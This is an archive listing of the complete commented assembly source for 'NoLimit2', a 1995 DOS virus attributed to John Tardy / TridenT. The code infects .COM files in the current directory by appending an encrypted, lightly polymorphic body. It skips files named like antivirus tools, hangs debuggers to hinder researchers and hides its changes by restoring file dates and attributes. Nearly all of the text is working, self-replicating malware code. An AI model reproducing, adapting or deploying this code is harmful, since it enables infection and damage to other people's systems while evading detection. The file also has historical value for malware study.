home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / N.ZIP / NOLIMIT2.ZIP / NOLIMIT2.A86 next >
Text File  |  1995-05-23  |  13KB  |  281 lines
  1. ;
  2. ; NoLimit2 Virus by John Tardy / TridenT
  3. ;
  4. ; Limited version of Servant Virus
  5. ;
  6. ; Bugs Fixed from 1:
  7. ; With encryption, not all possibilities were used. Solved.
  8.  
  9. Version         Equ 2                           ; Initial release.
  10.  
  11.                 Org 0h                          ; Creates a .BIN file.
  12.  
  13. ; This piece of code is located at the begin of the file
  14.  
  15. Start:          Jmp MainVir                     ; Jump to the main virus.
  16.  
  17.                 Db '*'                          ; Infection marker.
  18.  
  19. ; This will be appended to the victim
  20.  
  21. MainVir:        Lea Si,Decr                     ; This is the decryptor, which
  22. DecrOfs         Equ $-2                         ; is mutated from the main
  23.                 Mov Cx,DecrLen                  ; virus. It uses a simple xor
  24. Decrypt:        Xor B [Si],0                    ; algorithm. It uses three
  25. DecVal          Equ $-1                         ; different index regs, Si, Di
  26. Incer:          Inc Si                          ; or Bx. The Xor OpCode can be
  27. LoopType:       Loop Decrypt                    ; 80h or 82h and it's Loop or
  28. MainLen         Equ $-Mainvir                   ; LoopNz.
  29.  
  30. ; From here everything is encrypted
  31.  
  32. Decr:           Call On1                        ; Get Offset of the appended
  33. On1:            Pop BP                          ; virus by pushing the call on
  34.                 Sub BP,On1                      ; the stack and retrieve the
  35.                                                 ; address.
  36.  
  37.                 Mov W TrapIt[Bp],KillDebug      ; This routine restores the
  38.                 Lea Si,OrgPrg[Bp]               ; beginning of the original
  39. TrapIt          Equ $-2                         ; file, except when run from
  40.                 Mov Di,100h                     ; a debugger. It will then
  41.                 Push Di                         ; put the routine at
  42.                 Push Ax                         ; KillDebug in place of that,
  43.                 Movsw                           ; this locking the system
  44.                 Movsw                           ; after infection and
  45.                 Lea Dx,OrgPrg[Bp]               ; confusing TBCLEAN.
  46.                 Mov W TrapIt[Bp],OrgPrg         ;
  47.  
  48.                 Mov Ah,19h                      ; We don't want to infect
  49.                 Int 21h                         ; programs on floppy drive,
  50.                 Cmp Al,2                        ; we then go to NoHD.
  51.                 Jb NoHD                         ;
  52.  
  53.                 Mov Ah,1ah                      ; Use a new DTA.
  54.                 Mov Dx,0fd00h                   ;
  55.                 Int 21h                         ;
  56.  
  57.                 In Al,21h                       ; This makes DOS DEBUG to
  58.                 Or Al,2                         ; hang and thus making
  59.                 Out 21h,Al                      ; beginning virus-researchers
  60.                 Xor Al,2                        ; a hard time.
  61.                 Out 21h,Al                      ;
  62.  
  63.                 Mov Ah,4eh                      ; Search a .COM file in the
  64. Search:         Lea Dx,FileSpec[BP]             ; current directory.
  65.                 Xor Cx,Cx                       ;
  66.                 Int 21h                         ;
  67.  
  68.                 Jnc  Found                      ; If found, goto found,
  69. NoHD:           Jmp Ready                       ; else goto ready.
  70.  
  71. KillDebug:      Cli                             ; The routine that will be
  72.                 Jmp KillDebug                   ; activated by the antidebug
  73.                                                 ; part.
  74.  
  75.                 Db '[NoLimit2] John Tardy / Trident '
  76.  
  77. ; Here follows a table of filenames to avoid with infecting.
  78.  
  79. Tabel           Db 'CA'                         ; Catcher (Gobbler).
  80.                 Db 'VA'                         ; Validate (McAfee).
  81.                 Db 'GU'                         ; Guard (Dr. Solomon).
  82.                 Db 'CO'                         ; Command.Com (Microsoft).
  83.                 Db '4D'                         ; 4Dos (JP Software).
  84.                 Db 'VS'                         ; VSafe (CPav).
  85.                 Db 'TB'                         ; TbDel (Esass).
  86. TabLen          Equ $-Tabel
  87.  
  88.  
  89. Found:          Mov Bx,[0fd1eh]                 ; This routine checks if
  90.                 Lea Si,Tabel[Bp]                ; the candidate file begins
  91.                 Mov Cx,TabLen/2                 ; with the chars in the table
  92. ChkNam:         Lodsw                           ; above. If so, it goes to
  93.                 Cmp Ax,Bx                       ; SearchNext.
  94.                 Je SearchNext                   ;
  95.                 Loop ChkNam                     ;
  96.  
  97.                 mov dx,0fd1eh                   ; Open the file with only
  98.                 Mov Ax,3d00h                    ; read access.
  99.                 Int 21h                         ;
  100.  
  101.                 Xchg Ax,Bx                      ; Put Filehandle to BX.
  102.  
  103.                 Mov Ah,45h                      ; Duplicate Filehandle and
  104.                 Int 21h                         ; use the new one (confuses
  105.                 Xchg Ax,Bx                      ; some resident monitoring
  106.                                                 ; software (TBFILE)).
  107.  
  108.                 mov Ax,1220h                    ; This is a tricky routine
  109.                 push bx                         ; used to get the offset
  110.                 int 2fh                         ; to the File Handle Table,
  111.                 mov bl,es:[di]                  ; where we can change
  112.                 Mov Ax,1216h                    ; directly some things.
  113.                 int 2fh                         ;
  114.                 pop bx                          ;
  115.                 mov ds,es                       ;
  116.  
  117.                 mov byte ptr [di+2],2           ; File now open with write
  118.                                                 ; access.
  119.  
  120.                 mov al,b [di+4]                 ; Store old file attributes
  121.                 mov b [di+4],0                  ; and clear it.
  122.                 push ax                         ;
  123.  
  124.                 push ds                         ; Store FHT on the stack.
  125.                 push di                         ;
  126.  
  127.                 mov ds,cs                       ; Restore old Ds and Es
  128.                 mov es,cs                       ; (with .COM equal to Cs).
  129.  
  130.                 Mov Ah,3fh                      ; Read the first 4 bytes
  131.                 Lea Dx,OrgPrg[BP]               ; to OrgPrg (Bp indexed
  132.                 Mov Cx,4                        ; (the call remember?)).
  133.                 Int 21h                         ;
  134.  
  135.                 Mov Ax,OrgPrg[BP]               ; Check if it is a renamed
  136.                 Cmp Ax,'ZM'                     ; .EXE file. If so, goto
  137.                 Je ExeFile                      ; ExeFile.
  138.                 Cmp Ax,'MZ'                     ;
  139.                 Je ExeFile                      ;
  140.  
  141.                 Cmp B OrgPrg[3][Bp],'*'         ; Check if already infected.
  142.  
  143.                 Jne Infect                      ; If not so, goto Infect.
  144.  
  145. ExeFile:        Call Close                      ; Call file close routine.
  146.  
  147. SearchNext:     Mov Ah,4fh                      ; And search the next victim.
  148.                 Jmp Search                      ;
  149.  
  150. Infect:         Mov Ax,4202h                    ; Jump to EOF.
  151.                 Cwd                             ;
  152.                 Xor Cx,Cx                       ;
  153.                 Int 21h                         ;
  154.  
  155.                 Sub Ax,3                        ; Calculate the Jump and the
  156.                 Mov CallPtr[BP+1],Ax            ; decryptor offset values.
  157.                 Add Ax,(Offset Decr+0ffh)       ;
  158.                 Mov DecrOfs[Bp],Ax              ;
  159.  
  160.                 Call EncryptIt                  ; Call Encryption engine.
  161.  
  162.                 Mov Ah,40h                      ; Write the decoder to the
  163.                 Lea Dx,MainVir[Bp]              ; end of the file.
  164.                 Mov Cx,MainLen                  ;
  165.                 Int 21h                         ;
  166.  
  167.                 Mov Ah,40h                      ; And append the encrypted
  168.                 Lea Dx,EndOfVir[BP]             ; main virus body to it
  169.                 Mov Cx,DecrLen                  ; also.
  170.                 Int 21h                         ;
  171.  
  172.                 Mov Ax,4200h                    ; Jump to the beginning of
  173.                 Cwd                             ; the file.
  174.                 Xor Cx,Cx                       ;
  175.                 Int 21h                         ;
  176.  
  177.                 Mov Ah,40h                      ; And write the jump to the
  178.                 Lea Dx,CallPtr[BP]              ; over the first 4 bytes of
  179.                 Mov Cx,4                        ; the file.
  180.                 Int 21h                         ;
  181.  
  182.                 Call Close                      ; Call close routine.
  183.  
  184. Ready:          Mov Ah,1ah                      ; Restore the DTA.
  185.                 Mov Dx,80h                      ;
  186.                 Int 21h                         ;
  187.  
  188.                 Pop Ax                          ; Restore error register.
  189.  
  190.                 Ret                             ; Return to host (at 100h).
  191.  
  192. Close:          Pop Si
  193.  
  194.                 pop di                          ; Restore FHT offset again.
  195.                 pop ds                          ;
  196.  
  197.                 or b [di+6],40h                 ; Do not change file date/time
  198.                                                 ; stamps.
  199.  
  200.                 pop ax                          ; Restore file attributes.
  201.                 mov b [di+4],al                 ;
  202.  
  203.                 Mov Ah,3eh                      ; Close file.
  204.                 Int 21h                         ;
  205.  
  206.                 mov ds,cs                       ; Restore Ds segment.
  207.  
  208.                 Push Si
  209.                 Ret
  210.  
  211. CallPtr         Db 0e9h,0,0                     ; Here the jump is generated.
  212.  
  213. FileSpec        Db '*.CoM',0                    ; FileSpec + Infection Marker.
  214.  
  215. OrgPrg:         Int 20h                         ; Original 4 bytes of the
  216.                 Nop                             ; host program.
  217.                 Nop                             ;
  218.  
  219. EncryptIt:      Xor Ax,Ax                       ; Get timer tick (seen as a
  220.                 Mov Ds,Ax                       ; random value).
  221.                 Mov Ax,W Ds:[046ch]             ;
  222.                 Xchg Al,Ah                      ;
  223.  
  224.                 Push Ax
  225.                 Mov Ah,2ch                      ;
  226.                 Int 21h                         ;
  227.                 Pop Ax                          ;
  228.                 Not Cx                          ;
  229.                 Add Ax,Cx                       ;
  230.                 Adc Ax,Dx                       ;
  231.                 Mov Ds,Cs                       ;
  232.  
  233.                 Test Al,1                       ;
  234.                 Jnz GenKey                      ;
  235.                 Xor B Decrypt[Bp],2             ; Make the Xor variable.
  236.  
  237. GenKey:         Mov B DecVal[Bp],Ah             ; Encrypt the virus body
  238.                 Lea Si,Decr[Bp]                 ; to the address just at the
  239.                 Lea Di,EndOfVir[Bp]             ; end of the virus.
  240.                 Mov Cx,DecrLen                  ;
  241.                 Push Ax                         ;
  242. Encrypt:        Lodsb                           ;
  243.                 Xor Al,Ah                       ;
  244.                 Stosb                           ;
  245.                 Loop Encrypt                    ;
  246.  
  247.                 Pop Ax                          ;
  248.  
  249.                 Test Ah,2                       ; Make the Loop variable
  250.                 Jc  NoGarble                    ; (xor works like a switch
  251.                 Xor B LoopType[Bp],2            ; for 80h/82h or 0e0h/0e2h).
  252.  
  253.                 Add Al,Ah                       ; Read the different
  254.                 And Ax,0003h                    ; Si, Di, Bx instructions
  255.                 Mov Si,Ax                       ; from the table and store
  256.                 Add Si,PolyTable                ; them into the decrytor, thus
  257.                 Add Si,Bp                       ; making it recognizable only
  258.                 Lodsb                           ; at 4 bytes. (or nibble
  259.                 Mov B MainVir[Bp],Al            ; checking is usable).
  260.                 Add Si,3                        ;
  261.                 Lodsb                           ;
  262.                 Mov B Decrypt[Bp+1],Al          ;
  263.                 Add Si,3                        ;
  264.                 Lodsb                           ;
  265.                 Mov B Incer[Bp],Al              ;
  266.  
  267. NoGarble:       Ret                             ; Return to called
  268.  
  269. ; Table with functions for polymorphing
  270.  
  271. PolyTable       Equ $
  272.                 Db 0beh,0bfh,0bbh,0beh          ; Mov Si,Di,Bx,Si
  273.                 Db 034h,035h,037h,034h          ; Xor Si,Di,Bx,Si
  274.                 Db 046h,047h,043h,046h          ; Inc Si,Di,Bx,Si
  275.  
  276.                 DB Version                      ; Virus version number
  277.  
  278. DecrLen         Equ $-Decr
  279.  
  280. EndOfVir        Equ $
  281.